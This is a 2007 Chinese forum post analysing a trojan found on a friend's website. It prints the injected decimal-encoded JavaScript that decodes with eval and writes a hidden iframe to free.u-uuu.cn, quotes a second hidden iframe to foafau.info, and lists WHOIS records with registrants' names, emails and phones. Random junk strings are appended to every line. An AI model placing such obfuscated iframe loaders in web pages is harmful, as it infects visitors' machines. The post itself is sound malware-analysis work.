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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, TJ_$vI  
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http://www.areway.cn/?p=175 E4`N-3  
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&S{RGXj_  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: #%a;"w  
          u)X=Qm)  
<script>t=’60,105,102,114,97,109,101, R} eN@#"D  
32,115,114,99,61,104,116,116,112,58,47,47, gf#{k2r  
102,114,101,101,46,117,45,117,117,117,46,99, zT =Ho   
110,47,101,114,114,111,114,46,104,116,109, b#uL?f  
32,119,105,100,116,104,61,49,48,48,32,104, A-H&  
101,105,103,104,116,61,48,62,60,47,105,102, #|Y5,a ,{  
114,97,109,101,62′; [w>$QR  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> B8.Pn  
                                                                                                  B6u/mo<  
<script>t=’60,105,102,114,97,109,101,32,115, |{BIHgMh  
114,99,61,104,116,116,112,58,47,47,102,114, 8 ##-EN;ag  
101,101,46,117,45,117,117,117,46,99,110,47, FOv=!'S o  
101,114,114,111,114,46,104,116,109,32,119, !O+) sbd<  
105,100,116,104,61,49,48,48,32,104,101,105, lGV0 *Cji  
103,104,116,61,48,62,60,47,105,102,114,97, J`peX0Stl  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 63q^ $I  
document.write(t);</script> R0P iv:  
                                                                                                  ~bM4[*Q7  
<html xmlns=” ~ Sg5:T3  
http://www.w3.org/1999/xhtml y6ECdVF  
“> <{dVKf,e  
<head> _Zp}?b5Q  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> oibsh(J3  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> p#ol*m5wE  
<title>首页 - 爱生活家庭网 yQ_B)b  
                                                                                                                                                    aXQnZ+2e^R  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 S@jQX  
转换字符串后的大概内容是(谁点击后果自付): _7Rr=_1}  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Jv>gwV{  
                                                                                                                                  !^^?dRd*v  
查询玉米u-uuu.cn的详细信息: o1-m1<ft  
Domain Name: u-uuu.cn fV &KM*W*@  
ROID: 20070901s10001s64972306-cn %}SGl${-  
Domain Status: ok gy,ht3  
Registrant Organization: 王雷 _D+}q_  
Registrant Name: 王雷 O!m vJD  
Administrative Email: czlovexs@126.com t9,\Hdo  
Sponsoring Registrar: 北京万网志成科技有限公司 Ee)T1~;W  
Name Server:ns.yovole.com wg7V-+@i  
Name Server:ns1.yovole.com X> 1,!I9  
Registration Date: 2007-09-01 17:54 Y'c>:;JEe  
Expiration Date: 2008-09-01 17:54 S'|,oUWDb  
最后PING了一下地址 都没有什么…. -MW_| MG  
                                                                                                HFKf kAl  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. @E;=*9ek{u  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 9E zj"  
<script language=”javascript” src=” 4H,`]B8(D  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script *EOdEFsR/  
> i'a?kSy  
这个玉米应该有可能是木马作者的: d:ARf  
foafau.info的详细信息: "oTHq]Ku  
Access to INFO WHOIS information is provided to assist persons in un)4eo!7  
determining the contents of a domain name registration record in the I(]}XZq  
Afilias registry database. The data in this record is provided by DNOueU  
Afilias Limited for informational purposes only, and Afilias does not 1e(E:_t  
guarantee its accuracy.  This service is intended only for query-based $}<PL}+  
access. You agree that you will use this data only for lawful purposes 1 9&<|qTz  
and that, under no circumstances will you use this data to: (a) allow, udxFz2>_l$  
enable, or otherwise support the transmission by e-mail, telephone, or J,V9k[88  
facsimile of mass unsolicited, commercial advertising or solicitations A'j;\ `1  
to entities other than the data recipient’s own existing customers; or $LKIT0  
(b) enable high volume, automated, electronic processes that send CpA|4'#  
queries or data to the systems of Registry Operator, a Registrar, or @ >d*H75  
Afilias except as reasonably necessary to register domain names or '= _/1F*q  
modify existing registrations. All rights reserved. Afilias reserves CUO+9X-<8  
the right to modify these terms at any time. By submitting this query, ]Uw<$!$-]s  
you agree to abide by this policy. z{[xze-f  
Domain ID:D22418703-LRMS ?p9VO.^5  
Domain Name:FOAFAU.INFO E%+Dl=  
Created On:20-Nov-2007 16:05:42 UTC AuUd e$l_  
Last Updated On:20-Nov-2007 16:05:44 UTC u6M.'  
Expiration Date:20-Nov-2008 16:05:42 UTC &+a9+y  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) qHsUP;7  
Status:CLIENT DELETE PROHIBITED Ager$uC  
Status:CLIENT RENEW PROHIBITED U1@IX4^2`  
Status:CLIENT TRANSFER PROHIBITED y)F;zW<+  
Status:CLIENT UPDATE PROHIBITED n1qQ+(xC  
Status:TRANSFER PROHIBITED Q~814P8]  
Registrant ID:GODA-040110615 `k=bL"T>\  
Registrant Name:liu hong wAX1l*`  
Registrant Organization: N/]o4o  
Registrant Street1:beijing %u`8minCt  
Registrant Street2: uXI_M)  
Registrant Street3: l/BLUl~z  
Registrant City:beijing aiQ>xen5C5  
Registrant State/Province: ji1viv  
Registrant Postal Code:100000 CEXyrs<  
Registrant Country:CN ln$&``L  
Registrant Phone:+86.860108888777 XOxr?NPQ^  
Registrant Phone Ext.: t2EHrji~  
Registrant FAX: 4,..kSA3iw  
Registrant FAX Ext.: ?f#y1m  
Registrant Email:bbbshiji@163.com W!%]_I!&K  
Admin ID:GODA-240110615 T#M,~lD  
Admin Name:liu hong P1zKsY,l$<  
Admin Organization: unshH<  
Admin Street1:beijing x N=i]~  
Admin Street2: Dakoqke  
Admin Street3: &yGaCq;0  
Admin City:beijing 8j Mk)-  
Admin State/Province: K2 he4<  
Admin Postal Code:100000 L>MLi3{  
Admin Country:CN 4Yxo~ m(  
Admin Phone:+86.860108888777 /nyUG^5#{  
Admin Phone Ext.: s<*XN NE7  
Admin FAX: / rg*p  
Admin FAX Ext.: _Bj)r}~7#  
Admin Email:bbbshiji@163.com SLO%7%>p  
Billing ID:GODA-340110615 t]>Lh>G  
Billing Name:liu hong )_1zRT|9  
Billing Organization: =6woWlfb  
Billing Street1:beijing :Mb%A  
Billing Street2: L~_9_9c  
Billing Street3: 4/mig0"N.  
Billing City:beijing cS>e?  
Billing State/Province: q/4YS0CqE  
Billing Postal Code:100000 n_$ :7J  
Billing Country:CN I3 .x9  
Billing Phone:+86.860108888777 RD\  
Billing Phone Ext.: y(Y!?X I  
Billing FAX: z."a.>fPaO  
Billing FAX Ext.: NZ ;{t\  
Billing Email:bbbshiji@163.com g$HwxA9Gp/  
Tech ID:GODA-140110615 m6n?bEl6I  
Tech Name:liu hong xB_!>SqF1U  
Tech Organization: UQ'\7OS  
Tech Street1:beijing +lJG(Qd  
Tech Street2: dA@'b5N{"  
Tech Street3: 7.C;NT  
Tech City:beijing 3mYiQ2  
Tech State/Province: sW)Zi  
Tech Postal Code:100000 *_R]*o!W'  
Tech Country:CN HU%o6cw  
Tech Phone:+86.860108888777 +#GQ,  
Tech Phone Ext.: kHXL8k#T  
Tech FAX: +u!0rLb  
Tech FAX Ext.: #Xhdn\7  
Tech Email:bbbshiji@163.com ,$;yY)x7U  
Name Server:NS27.DOMAINCONTROL.COM hc~s"Atck  
Name Server:NS28.DOMAINCONTROL.COM CF+_/s#j^  
Name Server: SGh1 DB  
Name Server: i-bJS6  
Name Server: MxSM@3v(  
Name Server: NLS%Sq  
Name Server: cs T2B[f9D  
Name Server: \zieyE  
Name Server: *:>"q ej  
Name Server: qY~`8 x  
Name Server: L!=4N!j  
Name Server: !O-C,uSm  
Name Server: ]?3un!o3o  
                                                                                                          AK\$i$@6  
接着下载每个文件里面的代码: {z(xFrY  
一步一步看.. Vnx,5E&  
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<,3^|$c%  
`kbSu}  
*GxTX3i}vc  
-:30:oq  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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